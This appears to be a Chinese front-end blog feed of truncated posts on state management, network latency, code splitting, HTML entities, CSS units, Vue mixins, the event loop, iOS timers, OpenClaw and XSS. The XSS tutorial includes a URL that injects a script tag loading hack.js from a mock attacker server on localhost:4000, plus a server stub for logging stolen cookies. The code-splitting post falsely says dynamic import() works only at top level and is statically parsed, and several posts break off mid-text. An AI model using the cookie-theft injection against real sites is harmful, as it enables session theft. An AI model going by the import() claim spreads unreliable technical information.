为何需要在前端引用里引入状态管理，基本上大家都达成了共识，在此我总结为3点：

随着应用的规模越来越大，功能越来越复杂，组件的抽象粒度会越来越细，在视图中组合起来后层级也会越来越深，能够方便的跨组件共享状态成为迫切的需求。
状态也需要按模块切分，状态的变更逻辑背后其实就是我们的业务逻辑，将其抽离出来能够彻底解耦ui和业务，有利于逻辑复用，以及持续的维护和迭代。
状态如果能够被集中的管理起来，并合理的派发有利于组件按需更新，缩小渲染范围，从而提高渲染性能

已有状态管理方案现状

redux

遵循react不可变思路的状态管理方案，无论从git的star排名还是社区的繁荣度，首推的一定是redux这个react界状态管理一哥，约束使用唯一路径reducer纯函数去修改store的数据，从而达到整个应用的状态流转清晰、可追溯。

image.png

mbox

遵循响应式的后期之秀mbox，提出了computed、reaction的概念，其官方的口号就是任何可以从应用程序状态派生的内容都应该派生出来，通过将原始的普通json对象转变为可观察对象，我们可以直接修改状态，mbox会自动驱动ui渲染更新，因其响应式的理念和vue很相近，在react里搭配mobx-react使用后，很多人戏称mobx是一个将react变成了类vue开发体验的状态管理方案。

image.png

当然因为mbox操作数据很方便，不满足大型应用里对状态流转路径清晰可追溯的诉求，为了约束用户的更新行为，配套出了一个mobx-state-tree，总而言之，mobx成为了响应式的代表。

其他

剩下的状态管理方案，主要有3类。

一类是不满足redux代码冗余啰嗦，接口不够友好等缺点，进而在redux之上做2次封装，典型的代表国外的有如rematch，国内有如dva、mirror等，我将它们称为redux衍生的家族作品，或者是解读了redux源码，整合自己的思路重新设计一个库，如final-state、retalk、hydux等，我将它们称为类redux作品。

一类是走响应式道路的方案，和mobx一样，劫持普通状态对象转变为可观察对象，如dob，我将它们称为类mobx作品。

剩下的就是利用react context api或者最新的hook特性，主打轻量，上手简单，概念少的方案，如unstated-next，reactn、smox、react-model等。

我心中的理想方案

上述相关的各种方案，都各自在一定程度上能满足我们的需求，但是对于追求完美的水瓶座程序猿，我觉得它们终究都不是我理想的方案，它们或小而美、或大而全，但还是不够强，不够友好，所以决定开始自研状态管理方案。

我知道小和美、全、强本身是相冲突的，我能接受一定量的大，gzip后10kb到20kb都是我接受的范围，在此基础上，去逐步地实现美、全、强，以便达到以下目的，从而体现出和现有状态管理框架的差异性、优越性。

让新手使用的时候，无需了解新的特性api，无感知状态管理的存在，使其遁于无形之中，仅按照react的思路组织代码，就能享受到状态管理带来的福利。
让老手可以结合对状态管理的已有认知来使用新提供的特性api，还原各种社区公认的最佳实践，同时还能向上继续探索和提炼，挖掘状态管理带来的更多收益。
在react有了hook特性之后，让class组件和function组件都能够享有一致的思路、一致的api接入状态管理，不产生割裂感。
在保持以上3点的基础上，让用户能够使用更精简且更符合思维直觉的组织方式书写代码，同时还能够获得巨大的性能提升收益。

为了达成以上目标，立项concent，将其定义为一个可预测、零入侵、渐进式、高性能的增强型状态管理方案，期待能把他打磨成为一个真真实实让用户用起来感觉到美丽、全面、强大的框架。

说人话就是：理解起来够简单、代码写起来够优雅、工程架构起来够健壮、性能用起来够卓越…… ^_^

concent.png

可预测

react是一个基于pull based来做变化侦测的ui框架，对于用户来说，需要显式的调用setState来让react感知到状态变化，所以concent遵循react经典的不可变原则来体现可预测，不使用劫持对象将转变为可观察对象的方式来感知状态变化（要不然又成为了一个类mobx……）, 也不使用时全局pub&sub的模式来驱动相关视图更新，同时还要配置各种reselect、redux-saga等中间件来解决计算缓存、异步action等等问题（如果这样，岂不是又迈向了一个redux全家桶轮子的不归路….. ）

吐槽一下：redux粗放的订阅粒度在组件越来越多，状态越来越复杂的时候，经常因为组件订阅了不需要的数据而造成冗余更新，而且各种手写mapXXXToYYY很烦啊有木有啊有木有，伤不起啊伤不起……

零入侵

上面提到了期望新手仅按照react的思路组织代码，就能够享受到状态管理带来的福利，所以必然只能在setState之上做文章，其实我们可以把setState当做一个下达渲染指令重要入口（除此之外，还有forceUpdate）。

setState，下达更新指令

仔细看看上图，有没有发现有什么描述不太准确的地方，我们看看官方的setState函数签名描述:

代码语言：txt

AI代码解释

setState<K extends keyof S>(
 state: ((prevState: Readonly<S>, props: Readonly<P>) => (Pick<S, K> | S | null)) | (Pick<S, K> | S | null),
 callback?: () => void
): void;

通过签名描述，我们可以看出传递给setState的是一个部分状态(片段状态)，实际上我们在调用setState也是经常这么做的，修改了谁就传递对应的stateKey和值。

网络延迟和丢包

Mon, 28 Jul 2025 00:00:00 +0800

1、什么是延迟呢？

延迟其实就是我们在网页浏览或者使用应用时，从我们点击请求到服务器返回结果给我们之间的时间差。就像你在跟朋友打电话，你说完话后，朋友听到并回应你所说话的时间差一样。

我们的最终目标是创建一个系统，让这个时间差变得尽可能短，也就是实现零延迟。但现实世界中，有各种各样的问题会导致系统出现延迟。如果系统的延迟很低，那么我们请求得到响应的时间就会很短。每次你在浏览器中输入网址或者点击一个链接，浏览器都会向服务器发出一个请求信号，然后服务器需要处理这个请求，获取需要的信息，最后把这些信息返回给你的浏览器。整个过程中就会有一些时间差，这就是延迟。所以，我们要不断努力降低延迟，提高系统的响应速度。

2、延迟是怎么回事呢？

延迟其实就是你在请求后需要等待的时间，就像等待快递送到家门一样。来看个例子，更容易理解它是怎么运作的。

想象你正在和一个电子商务网站（比如淘宝）互动，你喜欢一个商品，然后把它加入购物车。现在，当你点击“添加到购物车”按钮时，下面的事情会依次发生：

你点击了“添加到购物车”按钮，这时就像你启动了一个计时器，浏览器开始向服务器发请求。
服务器收到请求，然后开始处理它，就像你的快递订单到了快递中心一样。
服务器处理完后，回应你的请求，信息到达你的浏览器，商品成功添加到购物车中，就像你的包裹送到了家门口一样。

你可以想象在第一步按下了计时器的启动按钮，然后在最后一步停下，这段时间就是延迟。希望这个例子能让你更容易理解延迟是如何运作的。

3、延迟都是怎么来的呢？

现在，你应该已经理解了要点，但是你知道是什么造成了延迟吗？网络中的延迟受多种因素影响，它们在确定延迟的具体数值时扮演着关键角色。其中一个主要因素是出站呼叫。回到之前添加购物车的例子，当你点击浏览器上的按钮时，请求会发送到后端的某个服务器，这个服务器可能会在内部调用多个服务来进行计算（可能是同时或者按顺序），然后等待它们的响应或将它们汇总。所有这些因素都会增加呼叫的延迟。但总结起来，主要由以下几个因素引起：

传输介质： 传输介质指的是信息在起点和终点之间的物理路径。系统的延迟会取决于用于传输请求的介质类型。广域网、光纤电缆等传输介质都广泛应用，但每种介质都有自己的限制，这会影响延迟。
传播延迟： 这指的是数据包从一个源传播到另一个源所需的时间。系统的延迟很大程度上取决于通信节点之间的距离。节点距离越远，系统的延迟就会越高。
路由器： 路由器在通信中扮演着重要的角色，它们需要一些时间来分析数据包的标头信息。延迟取决于路由器处理请求的效率。每一次路由器到路由器的跳跃都会增加系统的延迟。
存储延迟： 系统的延迟还受到所使用的存储系统类型的影响，因为处理和返回数据可能需要一些时间。因此，访问存储中的数据会增加系统的延迟。

4、如何测量延迟？

要量化延迟其实很简单，我们有几种常用的方法，让我们来看看最常见的三种：

Ping（网络探测）： Ping是测量延迟最常用的工具之一。它的原理是向目标地址发送一个小数据包，然后查看接收到响应所需的时间。更快的Ping意味着连接更敏捷，响应更迅速。

Traceroute（路径跟踪）： Traceroute是另一个用于测试延迟的工具。它也使用数据包，但不止如此，它还会逐一记录数据包从源到目的地经过的每个中间节点所需的时间。这有助于识别网络中的延迟点。
MTR（网络诊断工具）： MTR是Ping和Traceroute的超级组合。MTR提供了详尽的报告，列出了从一个端点到另一个端点所需的每个网络节点的信息。这份报告通常包括了各种细节，比如丢包率、平均延迟等，非常有助于分析网络性能。

5、延迟优化

延迟是系统性能的绊脚石，所以我们需要采取一些措施来进行优化。下面是一些简单又实用的方法，可以帮助我们减少延迟：

采用HTTP/2： 使用HTTP/2协议可以显著减少延迟。它支持并行传输，最大程度地减少了数据从发送方到接收方的往返次数，这对于降低延迟非常有效。
减少外部HTTP请求： 第三方服务会增加延迟。通过减少外部HTTP请求的数量，我们可以提高系统的响应速度和质量。
使用CDN： 内容分发网络（CDN）被证明能够减少延迟。CDN会在全球多个位置缓存资源，从而减少请求和响应的传输时间。这意味着可以从更接近客户端的缓存位置获取请求，而不必每次都回到原始服务器。

浏览器缓存： 利用浏览器缓存，可以减少向服务器发送的请求次数，从而降低延迟。浏览器会在本地缓存特定资源，这对于提高页面加载速度很有帮助。
优化磁盘I/O： 为了减小磁盘I/O的影响，我们需要优化算法，尽量减少频繁的磁盘写入操作。可以考虑使用直写式缓存、内存数据库，或者在适当的情况下进行写入合并，还可以考虑使用快速存储系统，比如SSD。

作为开发人员，我们还可以在应用程序级别采取一些方法来优化延迟：

避免低效算法： 高效的算法是代码中延迟的主要来源之一。要尽量避免不必要的循环或昂贵的嵌套操作。
避免锁定的设计模式： 锁定会引入延迟，因此我们应该采用避免锁定的设计模式，特别是在多线程环境中。
采用异步编程模型： 异步编程可以更好地利用硬件资源，因为它避免了阻塞操作，从而减少等待时间。
限制无界队列深度： 限制无界队列深度并提供反压通常可以减少代码中的等待时间，从而产生更可预测的延迟。

这些方法可以帮助我们优化延迟，提高系统性能，让用户获得更好的体验。

常见考点

在前端面试中，网络延迟和丢包是评估你对网络传输、性能瓶颈及应对策略理解的重要考点。面试官会通过这些话题判断能否从网络层面分析问题、优化用户体验，特别是在弱网环境、移动端场景下。

一、网络延迟的考点

1. 网络延迟的构成

面试官可能会问：“用户输入 URL 后，请求延迟可能发生在哪些阶段？”

阶段	含义
DNS 解析	域名 → IP 地址
TCP 建立连接	三次握手耗时
TLS 握手	HTTPS 建立安全连接耗时
请求发送	客户端发送数据
首字节返回 TTFB	服务端处理 + 网络传输
内容下载	响应内容下载耗时
渲染耗时	浏览器解析和绘制页面

2. 常见影响网络延迟的因素

地域距离：客户端与服务端物理距离大（如中国访问美国服务器）
DNS 缓存未命中或 DNS 配置不合理
TLS 握手过长（HTTPS 开销）
带宽瓶颈：文件过大、网络拥堵
长连接未复用（未启用 HTTP/2）
移动网络抖动高（4G/5G 网络波动）
首包延迟（TTFB 过高）

3. 如何优化延迟？

启用 CDN，部署全球节点，减少 RTT
启用 DNS 预解析：<link rel="dns-prefetch">
启用 HTTP/2 或 HTTP/3，减少连接耗时
减少重定向跳转、合并请求
使用 preconnect、prefetch 提前连接目标源
SSR 提前输出首屏 HTML，减少白屏
缓存优化（减少服务端响应压力）

二、丢包的考点

1. 丢包的本质

网络传输中，部分数据包因链路拥堵、信号弱、硬件丢包率高等原因，未能到达目的地。

代码分割

Tue, 17 Dec 2024 00:00:00 +0800

什么是代码分割

代码分割是一种将代码分割成多个小块的方式，然后按需加载或并行加载所需的块的技术。代码分割可以用于减少应用程序的初始加载时间或将代码切割成可按需加载的块，从而减少应用程序所需的总体代码量。

为什么要使用代码分割

在大型应用程序中，将所有代码放在一个文件中会导致应用程序加载时间过长，影响用户体验。为了解决这个问题，我们需要将代码分割成小块，然后按需加载或并行加载所需的块。

代码分割的方式

1. 动态导入 import

import()是 JavaScript 中的一个动态导入语法，它允许在运行时异步加载模块。它返回一个 Promise，该 Promise 在模块加载完成后被解析为一个包含导出内容的模块对象。使用 import()的语法如下：

import(modulePath)
 .then((module) => {
 // 使用导入的模块
 })
 .catch((error) => {
 // 处理错误
 });

在这个语法中，modulePath 是一个字符串，用于指定要加载的模块路径。它可以是相对路径或绝对路径，也可以是一个包名。当调用 import(modulePath)时，它会返回一个 Promise。这个 Promise 会在模块加载完成后被解析为一个包含导出内容的模块对象。你可以使用.then()方法来处理解析后的模块对象，并在其中使用导入的模块。如果模块加载失败，Promise 会被拒绝，并触发.catch()方法中的错误处理逻辑。

注意事项 import()只能在模块的顶层作用域中使用，不能在函数内部或条件语句中使用。这是因为 import()是静态解析的，它在代码加载时就会执行，而不是在运行时。

另外，import()可以与其他语法结合使用，例如动态模块路径和对象解构。动态模块路径：

const modulePath = "./myModule";

import(modulePath)
 .then((module) => {
 // 使用导入的模块
 })
 .catch((error) => {
 // 处理错误
 });

在这个示例中，modulePath 是一个变量，它的值在运行时确定。这样可以根据需要动态加载不同的模块。

对象解构：

import("./myModule")
 .then(({ myFunction, myVariable }) => {
 // 使用导入的函数和变量
 myFunction();
 console.log(myVariable);
 })
 .catch((error) => {
 // 处理错误
 });

2. React.lazy

React.lazy 是 React 16.6 版本引入的一个特性，它可以让你以动态的方式进行代码拆分（code splitting）。通过 React.lazy，你可以延迟加载（lazy load）一个组件，只有在需要时才会加载该组件，从而提高应用程序的性能。 React.lazy 的用法如下：

实体字符（转义字符）

Tue, 15 Oct 2024 00:00:00 +0800

HTML 的实体字符（HTML Entities）是用于显示某些特殊字符或符号的编码形式。

HTML 中某些符号具有特殊含义，例如 <, >, & 等字符不能直接在网页内容中使用，所以需要使用实体字符来表示它们。

常见的 HTML 实体字符

空格和控制字符

 ：空格字符 (non-breaking space)

&nbsp; <!-- 表示一个空格 -->

<：小于号 <

&lt;div&gt; <!-- 表示 <div> -->

>：大于号 >

&gt;/div&gt; <!-- 表示 </div> -->

&：与符号 &

&amp; <!-- 表示 & -->

"：双引号 "

&quot;Hello&quot; <!-- 表示 "Hello" -->

'：单引号 '

&apos;Hello&apos; <!-- 表示 'Hello' -->

数学符号

+：加号 +
−：减号 −
×：乘号 ×
÷：除号 ÷

货币符号

&dollar;：美元符号 $
€：欧元符号 €
£：英镑符号 £
¥：日元符号 ¥

其他常见符号

®：注册商标符号 ®
™：商标符号 ™
§：章节符号 §
°：度数符号 °

希腊字母

α：α
β：β
γ：γ
δ：δ

为什么需要实体字符？

避免 HTML 解析冲突：例如 <, >, & 等符号在 HTML 中有特定的用途，用实体字符可以避免冲突。
显示特殊符号：例如版权符号、商标符号或货币符号等，不能直接在键盘上输入，使用实体字符可以确保正确显示。

常见考点

1. HTML 实体字符的定义与作用

什么是 HTML 实体字符？为什么需要使用它们？
实体字符用于在 HTML 中显示特殊符号（如 <, >, &, " 等）或不可见字符（如空格、换行符等），避免与 HTML 语法冲突。

2. 常见的 HTML 实体字符

<：小于号 <
>：大于号 >
&：与符号 &
"：双引号 "
'：单引号 '
 ：不间断空格

3. Unicode 和 ASCII 编码的实体字符

HTML 支持通过 &#xNNNN;（十六进制）或 &#NNNN;（十进制）表示 Unicode 字符。例如：
- ♥ 或 ♥ 表示 ♥
考察点可能涉及通过实体字符显示 Unicode 表情符号、语言字符等。

4. 转义字符

在 HTML 中如何使用实体字符进行转义？
为什么需要转义符号（如 <, >, &）？特别是在 HTML 元素内嵌 JavaScript 或样式时需要避免歧义。
安全性方面的考量，尤其是防止 XSS（跨站脚本攻击）。

5. 空白字符

 （不间断空格）：防止自动换行或保留多个空格。
&ensp; 和 **&emsp;**：半角和全角空格符号。
实体空白符在排版和布局中的应用（如对齐、占位）。

6. 其他常见实体字符

货币符号：如 ¥（¥）、€（€）。
数学符号：如 ±（±）、×（×）、÷（÷）。

7. HTML5 实体字符扩展

HTML5 中新增的一些实体字符，如：
- **≤**（≤）和 ≥（≥）
- •（•）用于列表符号
- …（…）省略号

8. 实体字符与浏览器兼容性

浏览器如何处理不支持的实体字符？
考察点可能涉及浏览器对不同编码的支持，以及如何确保兼容性。

9. HTML 实体字符与国际化

如何通过实体字符支持多语言文本？
考察 Unicode 与实体字符在国际化中的应用，如如何使用实体字符表示非 ASCII 字符。

10. HTML 实体字符在输入表单中的应用

在表单中，如何防止特殊字符输入导致 HTML 注入攻击？
使用实体字符保护表单数据的完整性和安全性。

单位

Thu, 10 Oct 2024 00:00:00 +0800

说起CSS单位，我们最熟悉的可能就是像素单位（px），它是一个绝对单位，也就是说一个10px的文字，放在哪里都是一样大的。单位可以影响颜色、距离、尺寸等一系列的属性。CSS中单位的形式有很多种，下面就分别来看看这些单位。

1. 相对单位

相对单位就是相对于另一个长度的长度。CSS中的相对单位主要分为两大类：

字体相对单位，他们都是根据font-size来进行计算的。常见的字体相对单位有：em、rem、ex、ch；
视窗相对单位，他们都是根据视窗大小来决定的。常见的视窗相对单位有vw、vh、vmax、vmin。

下面就来看看这些常见的CSS单位。

（1）em 和 rem

em是最常见的相对长度单位，适合基于特定的字号进行排版。根据CSS的规定，1em 等于元素的font-size属性的值。

em 是相对于父元素的字体大小进行计算的。如果当前对行内文本的字体尺寸未进行显示设置，则相对于浏览器的默认字体尺寸。当DOM元素嵌套加深时，并且同时给很多层级显式的设置了font-size的值的单位是em，那么就需要层层计算，复杂度会很高。

当然，上面的这个说法是不严谨的。来看一个例子：

<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <title>Document</title>
 <style>
 .parent {
 width: 300px;
 height: 300px;
 font-size: 20px;
 }
 .child {
 border: 1em solid ;
 }
 </style>
</head>
<body>
 <div class="parent">
 <div class="child">
 子元素
 </div>
 </div>
</body>
</html>

这里给父元素设置了字体大小为20px，然后给子元素的border宽度设置为1em，这时，子元素的border值为20px，确实是相对于父元素的字体大小设置的：

那如果我们给子元素的字体设置为30px：

.child {
 font-size: 30px;
 border: 1em solid ;
}

这时可以看到，子元素的边框宽度就是30px，它是相对自己大小进行计算的：

所以，可以得出结论：如果自身元素是没有设置字体大小的，那么就会根据其父元素的字体大小作为参照去计算，如果元素本身已经设置了字体，那么就会基于自身的字体大小进行计算。

em单位除了可以作用于 font-size之外，还可以运用于其他使用长度的属性，比如border-width、width、height、margin、padding、text-shadow等。

所以，em的使用还是比较复杂的，它可能会继承任意一级父元素的字体大小。需要谨慎使用。

rem相对于em就简单了很多，它是根据页面的根元素（根元素）的字体大小来计算的。来对上面的例子进行修改：

.child {
 font-size: 30px;
 border: 1rem solid ;
}

html {
 font-size: 25px;
}

效果如下，可以看到，边框的长度变成了25px，它是根据根元素html的字体大小计算的：

mixin-混入

Sat, 05 Oct 2024 00:00:00 +0800

1. 什么是Mixin？

想要使用一个事物或者工具，我们首要先了解它是什么，这样我们才好对症下药。

其实Mixin不是Vue专属的，可以说它是一种思想，也可以说它就是混入的意思，在很多开发框架中都实现了Mixin(混入)，我们这里主要讲解的是Vue中的Mixin。

老规矩，先看官方文档。

官方解释：

混入 (mixin) 提供了一种非常灵活的方式，来分发 Vue 组件中的可复用功能。一个混入对象可以包含任意组件选项。当组件使用混入对象时，所有混入对象的选项将被“混合”进入该组件本身的选项。

官方的解释通常都是晦涩难懂的，因为要专业和准确嘛！

我们可以用我们自己容易理解的话来说说Vue中的Mixin是什么。

民间解释：

将组件的公共逻辑或者配置提取出来，哪个组件需要用到时，直接将提取的这部分混入到组件内部即可。这样既可以减少代码冗余度，也可以让后期维护起来更加容易。

这里需要注意的是：提取的是逻辑或配置，而不是HTML代码和CSS代码。其实大家也可以换一种想法，mixin就是组件中的组件，Vue组件化让我们的代码复用性更高，那么组件与组件之间还有重复部分，我们使用Mixin在抽离一遍。

2. Mixin和Vuex的区别？

上面一点说Mixin就是一个抽离公共部分的作用。在Vue中，Vuex状态管理似乎也是做的这一件事，它也是将组件之间可能共享的数据抽离出来。两者看似一样，实则还是有细微的区别，区别如下：

Vuex公共状态管理，如果在一个组件中更改了Vuex中的某个数据，那么其它所有引用了Vuex中该数据的组件也会跟着变化。
Mixin中的数据和方法都是独立的，组件之间使用后是互相不影响的。

3. 如何使用？

我们了解了Mixin的概念，那么如何使用它呢？这才是我们的重点。

3.1 准备工作

接下来我们的mixin就放在Vue2.x的脚手架项目中演示。

利用Vue-cli初始化一个最简单的项目：

3.1 mixin定义

定义mixin也非常简单，它就是一个对象而已，只不过这个对象里面可以包含Vue组件中的一些常见配置，如data、methods、created等等。

在我们的项目src目录下新建mixin文件夹，然后新建index.js文件，该文件存放我们的mixin代码。

代码如下：

// src/mixin/index.js
export const mixins = {
 data() {
 return {};
 },
 computed: {},
 created() {},
 mounted() {},
 methods: {},
};

可以看到我们的mixin非常的简单，主要包含了一个Vue组件的常见的逻辑结构。

接下来让我们在mixin中简单的写点东西，代码如下：

export const mixins = {
 data() {
 return {
 msg: "我是小猪课堂",
 };
 },
 computed: {},
 created() {
 console.log("我是mixin中的created生命周期函数");
 },
 mounted() {
 console.log("我是mixin中的mounted生命周期函数");
 },
 methods: {
 clickMe() {
 console.log("我是mixin中的点击事件");
 },
 },
};

3.2 局部混入

我们的公共mixin定义好后，最重要就是如何使用它。根据不同的业务场景，我们可以分为两种：局部混入和全局混入。顾名思义，局部混入和组件的按需加载有点类似，就是需要用到mixin中的代码时，我们再在组件章引入它。全局混入的话，则代表我在项目的任何组件中都可以使用mixin。

defineProperty 与 proxy

Wed, 02 Oct 2024 00:00:00 +0800

前言

我们或多或少都听过“数据绑定”这个词，“数据绑定”的关键在于监听数据的变化，可是对于这样一个对象：var obj = {value: 1}，我们该怎么知道 obj 发生了改变呢？

definePropety

ES5 提供了 Object.defineProperty 方法，该方法可以在一个对象上定义一个新属性，或者修改一个对象的现有属性，并返回这个对象。

语法

Object.defineProperty(obj, prop, descriptor)

参数

obj: 要在其上定义属性的对象。

prop: 要定义或修改的属性的名称。

descriptor: 将被定义或修改的属性的描述符。

举个例子：

var obj = {};
Object.defineProperty(obj, "num", {
 value : 1,
 writable : true,
 enumerable : true,
 configurable : true
});
// 对象 obj 拥有属性 num，值为 1

虽然我们可以直接添加属性和值，但是使用这种方式，我们能进行更多的配置。

函数的第三个参数 descriptor 所表示的属性描述符有两种形式：数据描述符和存取描述符。

两者均具有以下两种键值：

configurable

当且仅当该属性的 configurable 为 true 时，该属性描述符才能够被改变，也能够被删除。默认为 false。

enumerable

当且仅当该属性的 enumerable 为 true 时，该属性才能够出现在对象的枚举属性中。默认为 false。

数据描述符同时具有以下可选键值：

value

该属性对应的值。可以是任何有效的 JavaScript 值（数值，对象，函数等）。默认为 undefined。

writable

当且仅当该属性的 writable 为 true 时，该属性才能被赋值运算符改变。默认为 false。

存取描述符同时具有以下可选键值：

get

一个给属性提供 getter 的方法，如果没有 getter 则为 undefined。该方法返回值被用作属性值。默认为 undefined。

set

一个给属性提供 setter 的方法，如果没有 setter 则为 undefined。该方法将接受唯一参数，并将该参数的新值分配给该属性。默认为 undefined。

值得注意的是：

事件循环

Tue, 01 Oct 2024 00:00:00 +0800

单线程的 JavaScript

同步与异步

JavaScript 在设计之初是作为浏览器脚本语言，主要用于与用户进行页面交互和操纵 DOM。因此，为避免由不可预测的用户操作可能带来的复杂的并发问题，JavaScript 只能设计成单线程的，这也是这门语言的核心特征之一。

JS 的宿主环境通过仅提供一个线程运行 JS 来保证 JS 代码的单线程运行。

单线程意味着 JS 引擎在同一时间只能做一件事情，即同步地执行代码。但在代码执行过程中不可避免地会遇到一些无法立即执行的任务，例如：

计时器到达时间后要执行的任务 — setInterval、setTimeout
网络请求完成后要执行的任务 — XMLHttpRequest、Fetch
监听到用户操作后要执行的任务 — addEventListener
… … …

如果让执行 JS 的线程去处理这些任务，就会导致该线程处于长期阻塞的状态，而宿主环境中的 JS 执行线程往往还承担着极其重要的工作。例如，在浏览器中，如果执行 JS 的线程长期阻塞，就会导致浏览器卡死！

为避免上述情况发生，JS 的宿主环境使用了异步的方式来处理这种无法立即执行的任务。

当遇到异步任务时，宿主环境会将其交给其他线程处理，执行 JS 的线程则会立即结束当前任务转而去执行后续代码。

事件循环

事件循环是宿主环境处理 JS 异步操作，让其能够非阻塞式运行的机制。

不同宿主环境对事件循环的实现方式有所不同，不过在核心机制上大同小异。

接下来，本文将详细描述 JavaScript 在浏览器和 Node.js 这两个宿主环境中的事件循环机制。

浏览器事件循环

浅谈浏览器

聊浏览器的事件循环之前，我们先说说浏览器本身。

现代浏览器是一个多进程多线程的应用程序，内部工作极其复杂，其程度直逼操作系统。它拥有数个功能模块，为避免单个模块崩溃牵连其他模块，导致连锁反应，使浏览器彻底崩溃。浏览器在启动时，会开启多个进程，把不同的功能模块放在不同的进程里。

浏览器进程众多，其中比较重要的有：

📚 浏览器进程

浏览器进程是浏览器的主进程，无论打开多少浏览器窗口，它仅有一个。

它主要负责浏览器界面显示、用户交互和进程管理。

这里说的界面和交互，不是视窗内的网站界面。而是指浏览器本身自带的部分，如导航栏、书签栏、刷新按钮等。

刚打开浏览器的时候只有一个浏览器进程，其他进程都是它创建的。

📚 网络进程

网络进程主要负责处理网站的数据请求和响应，通常情况下，它与渲染进程的交互最为密切。每当网站需要进行资源请求，渲染进程就会将任务交给网络进程处理，网络进程取得响应结果后再返回给渲染进程。

网络进程内部会开启多个线程，以实现多网络请求的异步化处理。

📚 渲染进程

渲染进程负责控制和显示视窗部分（网站页面）的所有内容，主要是解析 HTML、CSS、JS 和其他资源，并生成渲染树、执行布局和绘制等操作。

iOS 定时器的注意事项

Sat, 02 May 2026 22:32:27 +0800

iOS 开发中常用的定时器有 NSTimer、CADisplayLink 和 GCD Timer。它们各有特点，但在使用时都有一些需要注意的问题。

常见定时器类型

1. NSTimer

最常用的定时器，基于 RunLoop 实现：

// 自动添加到当前 RunLoop 的 DefaultMode
NSTimer *timer = [NSTimer scheduledTimerWithTimeInterval:1.0
 target:self
 selector:@selector(timerFired)
 userInfo:nil
 repeats:YES];

// 手动创建，需要手动添加到 RunLoop
NSTimer *timer = [NSTimer timerWithTimeInterval:1.0
 target:self
 selector:@selector(timerFired)
 userInfo:nil
 repeats:YES];
[[NSRunLoop currentRunLoop] addTimer:timer forMode:NSDefaultRunLoopMode];

2. CADisplayLink

与屏幕刷新率同步的定时器，适合做动画：

CADisplayLink *displayLink = [CADisplayLink displayLinkWithTarget:self
 selector:@selector(update)];
[displayLink addToRunLoop:[NSRunLoop currentRunLoop] forMode:NSDefaultRunLoopMode];

3. GCD Timer

不依赖 RunLoop，精度更高：

dispatch_source_t timer = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, 0, 0, dispatch_get_main_queue());
dispatch_source_set_timer(timer, DISPATCH_TIME_NOW, 1.0 * NSEC_PER_SEC, 0);
dispatch_source_set_event_handler(timer, ^{
 NSLog(@"GCD Timer fired");
});
dispatch_resume(timer);

注意事项一：循环引用问题

问题描述

NSTimer 和 CADisplayLink 在使用 target-action 模式时，会强引用 target。如果 target 又持有定时器，就会形成循环引用：

OpenClaw 源码导读（四）：Channels、Nodes 与扩展生态

Sat, 02 May 2026 22:32:27 +0800

前三篇我们看清了 OpenClaw 的三副骨架：架构全景、Gateway 控制平面、Agent Harness 执行管线。这一篇是压轴篇，我们看它的"血肉"——channels/、node-host/、canvas-host/、plugins/、skills/、sandbox/。OpenClaw 真正"好用"的感觉，是从这一层来的：一条消息从 WhatsApp 进来、触发 iOS 上的摄像头、在 Android 上渲染一张 Canvas、最后把结果发回 Slack 线程——整个过程中 Gateway 本身一行代码都不需要改。

本文涵盖 118 个 channel/provider extension、53 个 skill、iOS/macOS/Android node 客户端、A2UI Canvas 协议、以及 Docker sandbox 的整套隔离模型。

一、Channels：118 个 extension 是怎么"插"进来的

1. ChannelPlugin 接口

OpenClaw 所有 channel（微信、Telegram、Slack、iMessage、IRC、Discord……）本质上都是实现同一个接口 ChannelPlugin：

export type ChannelPlugin<ResolvedAccount = any, Probe = unknown, Audit = unknown> = {
 id: ChannelId;
 meta: ChannelMeta;
 capabilities: ChannelCapabilities;
 defaults?: {
 queue?: {
 debounceMs?: number;
 };
 };
 reload?: { configPrefixes: string[]; noopPrefixes?: string[] };
 setupWizard?: ChannelPluginSetupWizard;
 config: ChannelConfigAdapter<ResolvedAccount>;
 configSchema?: ChannelConfigSchema;
 setup?: ChannelSetupAdapter;
 pairing?: ChannelPairingAdapter;
 security?: ChannelSecurityAdapter<ResolvedAccount>;
 groups?: ChannelGroupAdapter;
 mentions?: ChannelMentionAdapter;
 outbound?: ChannelOutboundAdapter;
 status?: ChannelStatusAdapter<ResolvedAccount, Probe, Audit>;
 gatewayMethods?: string[];
 gateway?: ChannelGatewayAdapter<ResolvedAccount>;
 auth?: ChannelAuthAdapter;
 approvalCapability?: ChannelApprovalCapability;
 elevated?: ChannelElevatedAdapter;
 commands?: ChannelCommandAdapter;
 lifecycle?: ChannelLifecycleAdapter;
 secrets?: ChannelSecretsAdapter;
 allowlist?: ChannelAllowlistAdapter;
 doctor?: ChannelDoctorAdapter;
 bindings?: ChannelConfiguredBindingProvider;
 conversationBindings?: ChannelConversationBindingSupport;
 streaming?: ChannelStreamingAdapter;
 threading?: ChannelThreadingAdapter;
 messaging?: ChannelMessagingAdapter;
 agentPrompt?: ChannelAgentPromptAdapter;
 directory?: ChannelDirectoryAdapter;
 resolver?: ChannelResolverAdapter;
 actions?: ChannelMessageActionAdapter;
 heartbeat?: ChannelHeartbeatAdapter;
 agentTools?: ChannelAgentToolFactory | ChannelAgentTool[];
};

这个接口一共有 40 多个可选的 adapter，每个对应一种能力：

网络安全

Mon, 28 Jul 2025 00:00:00 +0800

1、XSS

Cross Site Scripting 又叫做跨站脚本攻击,本身应该叫做CSS,但是由于CSS被占用,无奈下叫做XSS

what is XSS?

我们先从字面意义上看一下,跨站->顾名思义就是我们从一个网站跑到了另外一个网站上,脚本->也就是我们往页面中写了脚本内容,可以理解为写了js代码,那么最后我们对网站造成了攻击。就是攻击者想尽一切办法将可以执行的代码注入到网页中。

例如: 我们在登录了一个网站之后,一般都会把登录状态保存在cookie中,当我们去访问另外一个网站的时候,就会读取到cookie

XSS危害

1、利⽤虚假输⼊表单骗取⽤户个⼈信息。
2、利⽤脚本窃取⽤户的Cookie值，被害者在不知情的情况下，帮助攻击者发送恶意请求。
3、显示伪造的⽂章或图⽚。

简单演示

// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 如果可以弹出3,证明这个输入框没有过滤html标记

模拟获取cookie

http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">

后台代码

const koa = require('koa'); // 启动在4000端口上
const chalk = require('chalk')
const log = contents => {
 console.log(chalk.red(contents)) //打印cookie
}

// 模拟黑客网站
const app = new koa();

module.exports = app

存储型（server端）：

